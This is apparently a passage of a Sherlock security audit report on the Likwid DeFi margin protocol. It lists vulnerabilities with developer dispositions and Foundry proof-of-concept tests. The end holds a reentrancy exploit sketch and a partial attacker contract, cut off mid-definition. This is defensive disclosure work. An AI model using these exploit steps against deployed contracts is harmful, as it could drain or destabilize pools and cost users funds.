https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L425

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#495

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/MarginPosition.sol:196

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/MarginPosition.sol:201

Tool Used

Manual Review

Recommendation

- **Apply dynamic fee to close path:** thread `truncatedReserves` into `MarginPosition.close()` and use `SwapMath.getAmountOut/getAmountIn` dynamic-fee overloads so `swapFeeAmount` reflects price impact:
  - `SwapMath.getAmountOut(pairReserves, truncatedReserves, lpFee, ...)`
  - `SwapMath.getAmountIn(pairReserves, truncatedReserves, lpFee, ...)`
- **Ensure accounting consistency:** keep `swapFeeAmount` aligned with the actual implied swap amounts so that protocol fee splitting in `Pool.margin` remains correct.

Discussion

finezoo

Fix commit hash: fixed

Issue M-5: Bad debt (`lostAmount`) can be MEV-front-run by lenders/LPs to exit before loss socialization [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/60

Summary

When `LikwidMarginPosition.liquidateCall()` creates `lostAmount` (i.e., the liquidator repays less than the position's debt), the protocol socializes the shortfall across lenders and LPs by (1) hair-cutting the borrow-side lending exchange rate (`deposit{0,1}CumulativeLast`) and (2) reducing `pairReserves`. Because these state changes occur only inside the liquidation transaction, lenders (`LikwidLendPosition.withdraw`) and LPs (`LikwidPairPosition.removeLiquidity`) can observe a pending liquidation in the public mempool and front-run it to withdraw at the pre-haircut state, avoiding their share of the loss and shifting it onto remaining participants ("run on the bank" dynamics).

Vulnerability Detail

- `lostAmount` is realized during liquidation and then split between lenders and LPs based on the *current* reserves:
  - `LikwidMarginPosition._processLost()` computes `lendLostAmount = lostAmount * lendReserve / (pairReserve + lendReserve)` and derives a reduced `debtDepositCumulativeLast` by scaling the current `deposit*CumulativeLast` by `(lendReserve - lendLostAmount) / lendReserve`. (`src/LikwidMarginPosition.sol:136`)
  - `LikwidMarginPosition.liquidateCall()` sets `delta.debtDepositCumulativeLast` and applies `delta.pairDelta` / `delta.lendDelta` to write down `pairReserves` and `lendReserves` by the shortfall. (`src/LikwidMarginPosition.sol:547`)
  - `Pool.margin()` applies `params.debtDepositCumulativeLast` by overwriting the borrow-side `deposit{0,1}CumulativeLast`, which immediately haircuts all remaining lender positions for that token. (`src/libraries/Pool.sol:321`)
- Lenders can withdraw *before* the haircut is applied:
  - `LikwidLendPosition.withdraw()` uses the current pool `deposit{0,1}CumulativeLast` to compute the position's withdrawable `lendAmount` and then withdraws that amount. (`src/LikwidLendPosition.sol:97`, `src/LikwidLendPosition.sol:230`)
  - If the lender withdraws in a transaction that is ordered before a pending liquidation, they redeem using the pre-haircut cumulative, and their position is no longer exposed when the liquidation later applies `debtDepositCumulativeLast`.

- LPs can remove liquidity *before* the reserve write-down:
  - `LikwidPairPosition.removeLiquidity()` calls `vault.modifyLiquidity()`, which returns amounts based on the current pool reserves. (`src/LikwidPairPosition.sol:107`)
  - If the LP removes liquidity in a transaction that is ordered before a pending liquidation, they redeem based on the pre-loss `pairReserves`, and their liquidity is no longer exposed when the liquidation later applies `pairDelta`.
- This can be executed as pure MEV:
  - Any lender/LP monitoring mempool can submit a higher-priority withdrawal/removal transaction to be included ahead of the liquidation, avoiding losses and increasing the loss borne by remaining lenders/LPs.

Impact

- Unfair / timing-dependent loss allocation: rational liquidity providers can avoid bad-debt haircuts by exiting as soon as liquidation appears likely, forcing the residual pool participants to bear a disproportionate share of `lostAmount`.
- Adverse pool dynamics: the ability to "run" can exacerbate liquidity loss exactly when a pool is stressed, and can amplify insolvency risk (e.g., reserves shrink before liquidation executes, shifting loss split and degrading liquidity conditions for remaining users).

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L476 https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L547

Tool Used

Manual Review

Recommendation

Discussion

finezoo

Fix commit hash: fixed

Issue M-6: `mirrorReserve` is not updated by total interest [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/65

Summary

During interest accrual, `mirrorReserves` increases only by the **net interest after deducting the protocol fee**, while borrower debt is expanded using `borrowCumulativeLast` on a **gross-interest basis**. This basis mismatch compounds over time (including interest/compounding on the protocol-fee portion), leading to:

- A persistent and growing gap between borrower-debt basis and `mirrorReserves + protocolFeesAccrued`.
- After full repayment, the Vault may end up with an **unattributed surplus** where `actual balance > (realReserves + protocolFeesAccrued)`.
- Before repayment/liquidation happens, if the protocol calls `collectProtocolFees` and withdraws "unrealized" interest fees, the Vault may exhibit an **accounting-vs-balance inconsistency** where `actual balance < realReserves` (potentially impairing pool solvency).

Vulnerability Detail

Root Cause

1) `mirrorReserve` accrues only net interest (excluding the protocol-fee portion)

In `InterestMath.updateInterestForOne`:

- `protocolInterest` is first split out from `allInterest`;
- then `allInterestNoQ96 -= protocolInterest`;
- finally only `allInterestNoQ96` is added to `newMirrorReserve` (instead of "net interest + protocol fee = total interest").

See `src/libraries/InterestMath.sol:94` to `src/libraries/InterestMath.sol:120`, in particular:

- `src/libraries/InterestMath.sol:99` (splitting protocol fee)
- `src/libraries/InterestMath.sol:105` (deducting protocol fee from interest)
- `src/libraries/InterestMath.sol:117` (`mirrorReserve += net interest`)

2) Borrower debt compounds on the full outstanding amount using cumulative rates

Position debt is expanded using the ratio `borrowCumulativeLast / borrowCumulativeBefore` (e.g., the `mulDivRoundingUp` basis in `src/libraries/MarginPosition.sol`). This does not distinguish whether the protocol-fee portion should continue to accrue interest, which creates “interest-on-fee” over multiple periods.

3) Protocol-fee accounting is time-mismatched with real inflows

`protocolInterest{0,1}` produced by `Pool.updateInterests` is immediately recorded into `protocolFeesAccrued` in `_getAndUpdatePool` (`src/LikwidVault.sol:330` to `src/LikwidVault.sol:347`). However, before borrower repayment/liquidation, the Vault has not actually received the corresponding interest tokens (only internal accrual/indices move).

Reproducible Behaviors (Backed by Added Tests)

1) After two interest updates + full repayment, an “unattributed” surplus remains

`test/ProtocolFeeInterestUnaccountedAfterRepay.t.sol:1` demonstrates that after triggering `updateInterests` twice and repaying in full, `token.balanceOf(vault) > realReserves + protocolFeesAccrued`.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

import {LikwidVault} from "../src/LikwidVault.sol";
import {LikwidMarginPosition} from "../src/LikwidMarginPosition.sol";
import {LikwidPairPosition} from "../src/LikwidPairPosition.sol";
import {IMarginPositionManager} from "../src/interfaces/IMarginPositionManager.sol";
import {PoolKey} from "../src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "../src/types/PoolId.sol";
import {Currency} from "../src/types/Currency.sol";
import {FeeTypes} from "../src/types/FeeTypes.sol";
import {Reserves, ReservesLibrary} from "../src/types/Reserves.sol";
import {MarginPosition} from "../src/libraries/MarginPosition.sol";
import {StateLibrary} from "../src/libraries/StateLibrary.sol";

contract ProtocolFeeInterestUnaccountedAfterRepayTest is Test {
    using PoolIdLibrary for PoolKey;
    using ReservesLibrary for Reserves;

    LikwidVault internal vault;
    LikwidMarginPosition internal marginPositionManager;
    LikwidPairPosition internal pairPositionManager;

    MockERC20 internal token0;
    MockERC20 internal token1;
    Currency internal currency0;
    Currency internal currency1;
    PoolKey internal key;
    PoolId internal poolId;
```

```
function setUp() public {
    vault = new LikwidVault(address(this));
    marginPositionManager = new LikwidMarginPosition(address(this), vault);
    pairPositionManager = new LikwidPairPosition(address(this), vault);
    vault.setMarginController(address(marginPositionManager));

    address tokenA = address(new MockERC20("TokenA", "TKNA", 18));
    address tokenB = address(new MockERC20("TokenB", "TKNB", 18));
    if (tokenA < tokenB) {
        token0 = MockERC20(tokenA);
        token1 = MockERC20(tokenB);
    } else {
        token0 = MockERC20(tokenB);
        token1 = MockERC20(tokenA);
    }

    currency0 = Currency.wrap(address(token0));
    currency1 = Currency.wrap(address(token1));

    token0.approve(address(vault), type(uint256).max);
    token1.approve(address(vault), type(uint256).max);
    token0.approve(address(marginPositionManager), type(uint256).max);
    token1.approve(address(marginPositionManager), type(uint256).max);
    token0.approve(address(pairPositionManager), type(uint256).max);
    token1.approve(address(pairPositionManager), type(uint256).max);

    key = PoolKey({currency0: currency0, currency1: currency1, fee: 3000,
     ↪  marginFee: 3000});
    vault.initialize(key);
    poolId = key.toId();

    token0.mint(address(this), 10e18);
    token1.mint(address(this), 20e18);
    pairPositionManager.addLiquidity(key, address(this), 10e18, 20e18, 0, 0,
     ↪  block.timestamp);
}

function test_afterTwoInterestUpdatesAndFullRepay_vaultBalanceExceedsRealReserv
 ↪  esPlusProtocolFees() public {
    // Force 100% interest protocol fee so mirrorReserves only tracks principal,
    // while borrower debt compounds on the full outstanding amount.
    vault.setProtocolFee(key, FeeTypes.INTERESTS, 200);

    uint256 timestamp = block.timestamp;

    // Create a borrow-only position: collateral token0, borrow token1.
    uint256 collateralAmount = 5e18;
    token0.mint(address(this), collateralAmount);
```

```
        IMarginPositionManager.CreateParams memory params =
         ↪  IMarginPositionManager.CreateParams({
            marginForOne: false,
            leverage: 0,
            marginAmount: collateralAmount,
            borrowAmount: type(uint256).max,
            borrowAmountMax: 0,
            recipient: address(this),
            deadline: timestamp
        });
        (uint256 tokenId,,) = marginPositionManager.addMargin(key, params);

        // Two interest accrual events (each triggered by a state-changing call
         ↪  that runs Pool.updateInterests).
        vm.warp(timestamp + 365 days);
        vault.setProtocolFee(key, FeeTypes.INTERESTS, 200);
        vm.warp(timestamp + 2 * 365 days);
        vault.setProtocolFee(key, FeeTypes.INTERESTS, 200);

        // Borrower debt expanded to "now".
        MarginPosition.State memory position =
         ↪  marginPositionManager.getPositionState(tokenId);
        uint256 borrowerDebt = position.debtAmount;
        assertGt(borrowerDebt, 0);

        // Full repay (repay uses CurrentStateLibrary view values and then updates
         ↪  pool reserves via Vault).
        token1.mint(address(this), borrowerDebt);
        marginPositionManager.repay(tokenId, type(uint256).max, 0);

        // Accounting check:
        // In a consistent system, vault's actual token1 balance should be fully
         ↪  explained by:
        // - pool realReserves(token1) + protocolFeesAccrued(token1)
        // This test demonstrates that after 2 interest periods + full repay,
        // vault holds an extra surplus that is not reflected in either ledger.
        uint256 vaultToken1Balance = token1.balanceOf(address(vault));
        Reserves realAfter = StateLibrary.getRealReserves(vault, poolId);
        (, uint128 realToken1After) = realAfter.reserves();
        uint256 accounted = uint256(realToken1After) +
         ↪  vault.protocolFeesAccrued(currency1);

        assertGt(vaultToken1Balance, accounted);
    }
}
```

2) Withdrawing interest protocol fees before repayment causes `actual balance < rea`

    lReserves

test/ProtocolFeeInterestEarlyCollect.t.sol:1 demonstrates that calling collectProtocolFees before borrower repayment decreases the Vault's actual ERC20 balance while the pool's realReserves remain unchanged, creating an accounting mismatch.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

import {LikwidVault} from "../src/LikwidVault.sol";
import {LikwidMarginPosition} from "../src/LikwidMarginPosition.sol";
import {LikwidPairPosition} from "../src/LikwidPairPosition.sol";
import {IMarginPositionManager} from "../src/interfaces/IMarginPositionManager.sol";
import {PoolKey} from "../src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "../src/types/PoolId.sol";
import {Currency} from "../src/types/Currency.sol";
import {FeeTypes} from "../src/types/FeeTypes.sol";
import {Reserves, ReservesLibrary} from "../src/types/Reserves.sol";
import {StateLibrary} from "../src/libraries/StateLibrary.sol";

contract ProtocolFeeInterestEarlyCollectTest is Test {
    using PoolIdLibrary for PoolKey;
    using ReservesLibrary for Reserves;

    LikwidVault internal vault;
    LikwidMarginPosition internal marginPositionManager;
    LikwidPairPosition internal pairPositionManager;

    MockERC20 internal token0;
    MockERC20 internal token1;
    Currency internal currency0;
    Currency internal currency1;
    PoolKey internal key;
    PoolId internal poolId;

    function setUp() public {
        vault = new LikwidVault(address(this));
        marginPositionManager = new LikwidMarginPosition(address(this), vault);
        pairPositionManager = new LikwidPairPosition(address(this), vault);
        vault.setMarginController(address(marginPositionManager));

        address tokenA = address(new MockERC20("TokenA", "TKNA", 18));
        address tokenB = address(new MockERC20("TokenB", "TKNB", 18));
        if (tokenA < tokenB) {
            token0 = MockERC20(tokenA);
            token1 = MockERC20(tokenB);
        } else {
            token0 = MockERC20(tokenB);
            token1 = MockERC20(tokenA);
        }

        currency0 = Currency.wrap(address(token0));
        currency1 = Currency.wrap(address(token1));

        token0.approve(address(vault), type(uint256).max);
        token1.approve(address(vault), type(uint256).max);
        token0.approve(address(marginPositionManager), type(uint256).max);
        token1.approve(address(marginPositionManager), type(uint256).max);
        token0.approve(address(pairPositionManager), type(uint256).max);
        token1.approve(address(pairPositionManager), type(uint256).max);

        key = PoolKey({currency0: currency0, currency1: currency1, fee: 3000,
         ↪  marginFee: 3000});
        vault.initialize(key);
        poolId = key.toId();

        token0.mint(address(this), 10e18);
        token1.mint(address(this), 20e18);
        pairPositionManager.addLiquidity(key, address(this), 10e18, 20e18, 0, 0,
         ↪  block.timestamp);
    }

    function
     ↪  test_collectInterestFeesBeforeRepay_canUndercollateralizeVaultBalance()
     ↪  public {
        // Set interest protocol fee to 100% to isolate the behavior:
        // - Interest accrues into protocolFeesAccrued (as "receivable") on
         ↪  updateInterests
        // - No tokens are actually received until borrowers repay/are liquidated
        vault.setProtocolFee(key, FeeTypes.INTERESTS, 200);

        uint256 timestamp = block.timestamp;
        uint256 collateralAmount = 5e18;
        token0.mint(address(this), collateralAmount);

        IMarginPositionManager.CreateParams memory params =
         ↪  IMarginPositionManager.CreateParams({
            marginForOne: false, // collateral token0, borrow token1
            leverage: 0,
            marginAmount: collateralAmount,
            borrowAmount: type(uint256).max,
            borrowAmountMax: 0,
            recipient: address(this),
            deadline: timestamp
        });
        marginPositionManager.addMargin(key, params);
        // Advance time and trigger Pool.updateInterests via setProtocolFee (writes
        ↪  + accrues protocolFeesAccrued).
        vm.warp(timestamp + 365 days);
        vault.setProtocolFee(key, FeeTypes.INTERESTS, 200);

        uint256 accrued = vault.protocolFeesAccrued(currency1);
        assertGt(accrued, 0);

        // Before any repayment, the vault has not received new token1. Therefore,
        ↪  the actual ERC20 balance
        // should match the pool's recorded real reserves for token1.
        Reserves realBefore = StateLibrary.getRealReserves(vault, poolId);
        (, uint128 realToken1Before) = realBefore.reserves();
        uint256 vaultBalanceBefore = token1.balanceOf(address(vault));
        assertEq(vaultBalanceBefore, uint256(realToken1Before));

        // Protocol withdraws the (unrealized) accrued interest fees.
        address recipient = address(0xBEEF);
        vault.collectProtocolFees(recipient, currency1, 0);

        // `collectProtocolFees` does not update pool reserves, so real reserves
        ↪  remain unchanged while the actual
        // vault balance decreases. This creates an accounting vs balance mismatch
        ↪  (undercollateralization).
        Reserves realAfter = StateLibrary.getRealReserves(vault, poolId);
        (, uint128 realToken1After) = realAfter.reserves();
        assertEq(realToken1After, realToken1Before);

        uint256 vaultBalanceAfter = token1.balanceOf(address(vault));
        assertEq(vaultBalanceAfter, vaultBalanceBefore - accrued);
        assertEq(token1.balanceOf(recipient), accrued);

        assertLt(vaultBalanceAfter, uint256(realToken1After));
    }
}
```

Impact

Impacts include (non-exhaustive):

- Over time, the protocol can accumulate an “unattributed surplus” that is not explainable by existing ledgers (`realReserves/mirrorReserves/protocolFeesAccrued`), increasing accounting and governance risks (e.g., unsafe distribution, mistaken withdrawal assumptions).
- If the protocol withdraws `protocolFeesAccrued` before borrowers repay/liquidate, it may remove funds that should be supporting pool solvency, leaving the pool

"healthy" on paper while underfunded in actual token balances (fund-safety / DoS risk).

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/InterestMath.sol#L94-L120

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidVault.sol#L330-L347

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/Pool.sol#486-L513

Tool Used

Manual Review

Foundry tests:

- `forge test --match-contract ProtocolFeeInterestUnaccountedAfterRepayTest -vvv`
- `forge test --match-contract ProtocolFeeInterestEarlyCollectTest -vvv`

Recommendation

At minimum, satisfy one of the following consistency goals (first clarify the intended economic meaning of `mirrorReserves`):

1) If `mirrorReserves` is intended to represent **gross borrower debt** (including protocol-fee interest):

- Make `mirrorReserves` grow by **total interest**, and deduct the protocol fee directly from `realReserves` (or introduce an explicit protocol-fee reserve ledger), so debt and reserves remain aligned.

2) If `mirrorReserves` is intended to represent **LP/lender net claims** (excluding protocol share):

- Bind `protocolFeesAccrued` to **real, withdrawable balances** (e.g., only increase it after repayment/liquidation settles, or maintain an on-chain protocol-fee reserve that updates `realReserves` accordingly) to prevent early withdrawal shortfalls.
- Explicitly decide how to handle multi-period "interest-on-fee": either the protocol-fee portion should also compound with a corresponding ledger, or borrower debt should not continue accruing interest on the protocol-fee portion.

Discussion

finezoo

Fix commit hash: fixed

Issue M-7: Enforce a minimum position size to prevent many dust positions [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/71

Summary

The `LikwidMarginPosition.addMargin()` allows users to mint margin positions with no minimum margin size. This enables the creation of very small margin positions, referred to as "dust margins", where these small margins can then be used as collateral to borrow against them.

Vulnerability Detail

```
    function addMargin(PoolKey memory key, IMarginPositionManager.CreateParams
     ↪  calldata params)
        external
        payable
        ensure(params.deadline)
        returns (uint256 tokenId, uint256 borrowAmount, uint256 swapFeeAmount)
    {
        tokenId = _mintPosition(key, params.recipient);
        positionInfos[tokenId].marginForOne = params.marginForOne;
        (borrowAmount, swapFeeAmount) = _margin(
            msg.sender,
            params.recipient,
            IMarginPositionManager.MarginParams({
                tokenId: tokenId,
                leverage: params.leverage,
>>              marginAmount: params.marginAmount,
                borrowAmount: params.borrowAmount,
                borrowAmountMax: params.borrowAmountMax,
                deadline: params.deadline
            })
        );
    }
```

Impact

If the **health factor** of these small positions falls below the liquidateLevel, there is **no incentive for liquidators** to liquidate them due to the low value of the collateral. As a result, these dust deposit positions remain open, causing the protocol to accumulate **bad debt**.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L156

Tool Used

Manual Review

Recommendation

Introduce a minimum margin size for collateral to ensure that users cannot open positions with very small amounts of assets.

Discussion

finezoo

Fix commit hash: fixed

Issue M-8: Lack of deadline check in LikwidMargin-Position.modify() [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/72

Summary

This kind of issue is already mentioned in `[M-6] The deadline check is missing in the increaseLiquidity and removeLiquidity functions` of Zenith report and not fixed yet.

Vulnerability Detail

`LikwidMarginPosition.modify()` is missing deadline check.

Impact

See Zenith report M-6

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L630

Tool Used

Manual Review

Recommendation

See Zenith report M-6

Discussion

finezoo

Fix commit hash: fixed

Issue M-9: `_baseURI()` is not being overriden for NFTs [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/73

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`_baseURI()` is not being overriden for NFTs. All NFT marketplaces call the tokenURI() to retrieve metadata associated with each NFT.

Vulnerability Detail

The contracts which inherits `BasePositionManager` such as LikwidLendPosition, LikwidMarginPosition, LikwidPairPosition don't override `_baseURI()` for NFTs An added advantage of representing positions as NFTs is that users can sell their NFTs to exit their positions. All NFT marketplaces call the tokenURI(uint256) method to retrieve the metadata associated with each NFT. Since the contracts are not overriding tokenURI() or `_baseURI()`, the NFT marketplace will be forced to display a default image, which isn't ideal.

Impact

The protocol NFTs are not fit for NFT marketplaces due to lack of metadata

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/base/BasePositionManager.sol#L21

Tool Used

Manual Review

Recommendation

Override `_baseURI()` to return a URI pointing to a URL and ensure it returns the correct metadata for each NFT.

Discussion

likwid-tech

Disposition: Won't Fix

The NFTs within the LIKWID DeFi protocol are used for internal accounting and are not intended for interaction with external NFT marketplaces. Therefore, overriding the _baseURI() method is not necessary for their core function within the protocol.

Issue M-10: Missing pool updates when change `defaultProtocolFee` or `marginState` value [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/74

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`ProtocolFees.setProtocolFee()` updates pool state, but new states are used in pool updates from past to updating time and old `defaultProtocolFee` and `marginState` will be ignored.

Vulnerability Detail

If pool uses `defaultProtocolFee` and owner changes this value, new states are used in pool updates from past to updating time and old `defaultProtocolFee` and `marginState` will be ignored.

Impact

Updated `defaultProtocolFee` and `marginState` will not be applied during pool update.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/base/ProtocolFees.sol

Tool Used

Manual Review

Recommendation

Client replied: `We've looked into this, but we feel that fixing it would add too much complexity to the contract. Given how frequently the pools update, the actual error for a healthy pool is very small. We've decided to live with this minor discrepancy to keep the contract logic clean and efficient.`

Discussion

likwid-tech

Disposition: Won’t Fix (by design)

Let's put this issue aside for now. There's not a huge risk involved, and handling it within the contract is a very complex process.

Issue M-11: Max mirror ratio is not enforced on swaps [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/81

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

When performing swaps real reserve will decrease in the output token while the mirror rate is fixed. The borrow ratio of the protocol in that token will therefore increase and could go above the enforced max rate `MAX_MIRROR_RATIO`

Vulnerability Detail

When adding leverage we are enforcing a max mirror ratio

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L267-L269

This ratio limits the amount of outstanding debt to real reserves the pool can have. When swaps are performed this ratio can change as the real reserve will decrease in the output token.

Any post swap state of the pool can therefore be » `MAX_MIRROR_RATIO`. Consider if max mirror state should not be a hard-invariant that limits the debt to reserves ratio the pool should be exposed to in a certain token.

Recommendation

Consider adding a check that blocks swaps that put the pool in a over exposed position.

Discussion

likwid-tech

Disposition: Won’t Fix (by design)

Let's put this issue aside for now. The MAX_MIRROR_RATIO parameter is intended to serve an auxiliary role within the protocol, rather than acting as a strict, enforced constraint.

Issue M-12: Lend withdrawals can instantly put pool in state with an excessive mirror ratio [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/82

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

When withdrawing from a lend position the real reserves will decrease while the mirror reserve is constant. This will increase the mirror ratio and could put the pool in risky state as the debt to reserve ratio can be larger than enforced in other parts of the protocol.

Vulnerability Detail

If a single user owns a large portion of the lend deposits and the mirror ratio is ~80% a withdraw could push it way above the current hard limit set when margin positions are opened.

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L267-L269

This puts the pool in a much riskier position as they now debt to collateral ratio is much higher instantaneously.

Recommendation

Consider a queueing system and/or a check to limit large withdrawals that puts the pool in state with an excessive `MIRROR_RATIO`.

Discussion

likwid-tech

Disposition: Won’t Fix (by design)

Let's put this issue aside for now. The MAX_MIRROR_RATIO parameter is intended to serve an auxiliary role within the protocol, rather than acting as a strict, enforced constraint.

Issue M-13: Incorrect mitigation to Issue 11, allow user to close but charge extra fee [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/83

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

The mitigation to issue 11 in the Zenith report blocks `close()` completely even if this can be done at a profit for the user. This is less safe for the protocol as this could be done before bad debt is accumulated.

Vulnerability Detail

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/blob/2a886b895d2450a4967f960e570de3b87ca6bb6a/likwid-margin/src/LikwidMarginPosition.sol#L421-L423

This was added as a mitigation to issue 11 in the Zenith audit. The mitigation makes this less safe for the protocol as closing a margin position when its close to being under water is blocked.

It would be safer to allow this but to charge a `protocolProfitAmount` if it is closed when it is in a liquidation state.

Scenario: liquidators are for some reason not liquidating the position in time, the owner wishes to repay but does not have the funds but could theoretically still close the position without loss to the protocol. Currently the user would be blocked from doing so.

Recommendation

Allow the user to close the position but charge an extra fee to the protocol.

Discussion

likwid-tech

Disposition: Won’t Fix (by design)

Let's put this issue aside for now. The front-end can perform a judgment to allow the user to directly call liquidateburn().

Issue L-1: Post-`unlock()` health checks use stale `pairReserves/truncatedReserves`, enabling reentrancy-based bypass [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/61

Title

Post-`unlock()` health checks use stale `pairReserves/truncatedReserves`, enabling reentrancy-based bypass

Summary

`LikwidMarginPosition.repay()` and `LikwidMarginPosition.modify()` (when removing collateral) call `_checkMinLevelAfterUnlock()` after `vault.unlock(data)`, but they pass the *pre-unlock* snapshot `poolState.pairReserves` and `poolState.truncatedReserves`. During `unlock`, the contract transfers tokens/ETH to the caller, which can enable reentrancy into `LikwidVault` while `unlocked == true`. A reentrant call (e.g., `swap()` / `modifyLiquidity()` / `lend()`) can change the pool's reserves within the same transaction, causing `_checkMinLevelAfterUnlock()` to validate against stale reserves and potentially:

- incorrectly pass (bypass) when the real post-unlock reserves would fail the min-level constraint,

Vulnerability Detail

Where stale reserves are used

- `repay()`:
  - Takes a snapshot `PoolState memory poolState = _getPoolState(poolId);`
  - Executes state-changing operations inside `vault.unlock(data);`
  - Then checks health using the snapshot reserves:
    * `_checkMinLevelAfterUnlock(poolState.pairReserves, poolState.truncatedReserves, position, marginLevels.liquidateLevel());`
  - Location: `src/LikwidMarginPosition.sol:392`
- `modify()` (only when `changeAmount < 0`, i.e., removing collateral):
  - Similarly checks using snapshot reserves:
    * `_checkMinLevelAfterUnlock(poolState.pairReserves, poolState.truncatedReserves, position, marginLevels.minBorrowLevel());`

  - Location: `src/LikwidMarginPosition.sol:662`

In contrast, other flows (e.g., `margin()` and `close()`) re-fetch fresh reserves from storage after `unlock` via `StateLibrary.getPairReserves` / `StateLibrary.getTruncatedReserves`, avoiding this class of staleness.

How reserves can change during `unlock`

During `vault.unlock(data)`, `LikwidMarginPosition.unlockCallback()` settles/takes tokens via `_processDelta()`. When the pool owes tokens to the caller, `_processDelta()` triggers `vault.take()` which performs an external transfer:

- `BasePositionManager._processDelta()` calls `key.currency*.take(vault, recipient, amount, false)` (external transfer path).
- `CurrencyPoolLibrary.take()` calls `vault.take(currency, recipient, amount)`.
- `LikwidVault.take()` transfers ETH/ERC20 to `recipient` while `onlyWhenUnlocked` is true.

If `recipient` is a contract (or if the ERC20 token is malicious), the transfer can reenter into `LikwidVault` while `unlocked == true`. Because `swap()`, `modifyLiquidity()`, and `lend()` are gated by `onlyWhenUnlocked`, they are callable during this reentrant window and can update pool reserves before `vault.unlock()` returns.

Exploit sketch (bypass in `modify(changeAmount < 0)`)

1. Attacker calls `modify(tokenId, negativeChangeAmount)` to withdraw collateral from a position.
2. During `vault.unlock`, the pool transfers collateral token to the attacker contract (`vault.take`), invoking the attacker's callback.
3. In the callback, attacker calls `vault.swap(...)` (or similar) to move the price against the position, changing `pairReserves/truncatedReserves`.
4. After `unlock` returns, `_checkMinLevelAfterUnlock()` runs but uses the pre-unlock snapshot reserves, so it may not detect that the position is now below `minBorrowLevel` under the real post-unlock reserves.

Whether the attacker profits depends on broader system invariants (e.g., how/when third parties can liquidate), but the core protection ("post-action position must remain healthy at current pool price") is not robust under reentrancy.

POC

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
```

```solidity
import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

import {LikwidVault} from "../src/LikwidVault.sol";
import {LikwidMarginPosition} from "../src/LikwidMarginPosition.sol";
import {LikwidPairPosition} from "../src/LikwidPairPosition.sol";
import {LikwidHelper} from "./utils/LikwidHelper.sol";
import {IMarginPositionManager} from "../src/interfaces/IMarginPositionManager.sol";
import {IVault} from "../src/interfaces/IVault.sol";
import {PoolKey} from "../src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "../src/types/Currency.sol";
import {PoolIdLibrary} from "../src/types/PoolId.sol";
import {PoolState} from "../src/types/PoolState.sol";
import {Reserves} from "../src/types/Reserves.sol";
import {BalanceDelta} from "../src/types/BalanceDelta.sol";
import {MarginPosition} from "../src/libraries/MarginPosition.sol";
import {MarginLevels, MarginLevelsLibrary} from "../src/types/MarginLevels.sol";
import {CurrentStateLibrary} from "../src/libraries/CurrentStateLibrary.sol";
import {StateLibrary} from "../src/libraries/StateLibrary.sol";

contract ReentrantModifyAttacker {
    LikwidVault public immutable vault;
    LikwidMarginPosition public immutable marginPositionManager;
    MockERC20 public immutable token0;
    MockERC20 public immutable token1;
    PoolKey public key;

    uint256 public swapAmount;
